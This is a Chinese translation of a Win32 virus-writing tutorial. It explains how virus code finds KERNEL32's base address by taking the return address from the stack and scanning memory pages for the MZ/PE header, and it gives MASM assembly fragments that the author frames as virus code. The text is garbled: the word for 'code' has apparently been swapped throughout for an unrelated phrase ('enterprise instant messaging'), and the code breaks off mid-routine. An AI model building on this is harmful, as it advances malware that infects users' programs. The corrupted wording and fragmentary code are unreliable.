相当简单。我们在EAX中得到一个值大约为BFF8XXXX(XXXX是一个不重要的值,这里这么写是因为不需要精确地知道它,再也不要拿那些无聊的东西来烦我了:))。因为Win32平台通常会对齐到一个页,我们可以搜索任何一个页的开头,而且因为KERNEL32头就在一个页的开头,我们能够很轻松地检查它。而且当我们找到我现在正在讨论的PE头的时候,我们就知道了KERNEL32的基址。嗯,作为限制,我们可以以50h页为限。呵呵,不要担心,下面是一些企业即时通讯:) .386 .model flat,stdcall option casemap:none 嗯,用户级给了我们所有人很多令人压抑和不方便的限制,这是正确的,这妨碍了我们所崇拜的自由,这种我们在编写DOS病毒时所感受到的自由。但是,伙计,这就是生活,这就是我们的悲哀,这就是Micro$oft。Btw,这是唯一的(当今)能够完全Win32兼容的病毒的方法,而且这个环境是未来,正如你必须知道的。首先,让我们看看怎么用一种非常简单的方法来获得KERNEL32的基址(为了Win32兼容性): %获得KERNEL32基址的一个简单方法% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 正如你所知道的,当我们在执行一个应用程序的时候,企业即时通讯是从KERNEL32 "call"一部分企业即时通讯的(也就像KERNEL调用我们的企业即时通讯一样)。而且,如果你还记得的话,当一个call调用之后,返回的地址是在堆栈里(即,在由ESP所指定的内存地址里的)的。让我们看看关于这个的一个实际例子: ;---------------从这里开始剪切--------------------------------------------- .586p ; Bah... simply for phun. .model flat ; Hehehe i love 32 bit stuph ;) .data ; Some data (needed by TASM32/TLINK32)
db ? .code start: mov eax,[esp] ; Now EAX would be BFF8XXXXh (if w9X) ; ie, somewhere inside the API ; CreateProcess :) ret ; Return to it ;) end start .code start: mov eax,[esp] ;在我的机子里,此值是:7C816D4F 返回到 kernel32.7C816D4F ret end start ;============================================================================ ;------------到这里为止剪切--------------------------------------------------
;--------从这里开始剪切------------------------------------------------
.586p .model flat extrn ExitProcess:PROC .data limit equ 5 db 0 ;-------------------------------------- ; 没有用而且没有意义的数据 :) ; ;-------------------------------------- .code test: call delta delta: pop ebp sub ebp,offset delta mov esi,[esp] and esi,0FFFF0000h call GetK32 push 00000000h call ExitProcess ;============================================================================ ;masm32版 winxp sp2 测试通过 ;------------------------------------- ; 呃,我认为你至少是一个普通ASM程序员, 所以我假定你知道指令的第一块是为了获得 ; 地址偏移变化量(特别在这个例子里面不需要,然而,我喜欢使得它就像我们的病毒企业即时通讯)。 ; 第二块是我们所感兴趣的东西。我们把我们的程序开始调用的地址放在ESI中,即由ESP ; 所显示的地址(当然是如果我们在程序装载完后没有碰堆栈的情况下)。第二个指令,那个 ; AND,是为了获得我们的企业即时通讯正在调用的页的开头。我们调用我们的例程,在这之后,我 ; 们结束处理:) ;------------------------------------- GetK32: __1: cmp byte ptr [ebp+K32_Limit],00h jz WeFailed cmp word ptr [esi],"ZM" jz CheckPE __2: sub esi,10000h dec byte ptr [ebp+K32_Limit] ;这里有重定位,[ebp+K32_Limit] ;应改成[ebp+offset K32_Limit] ;但是,这是企业即时通讯段,不可以写!!!
|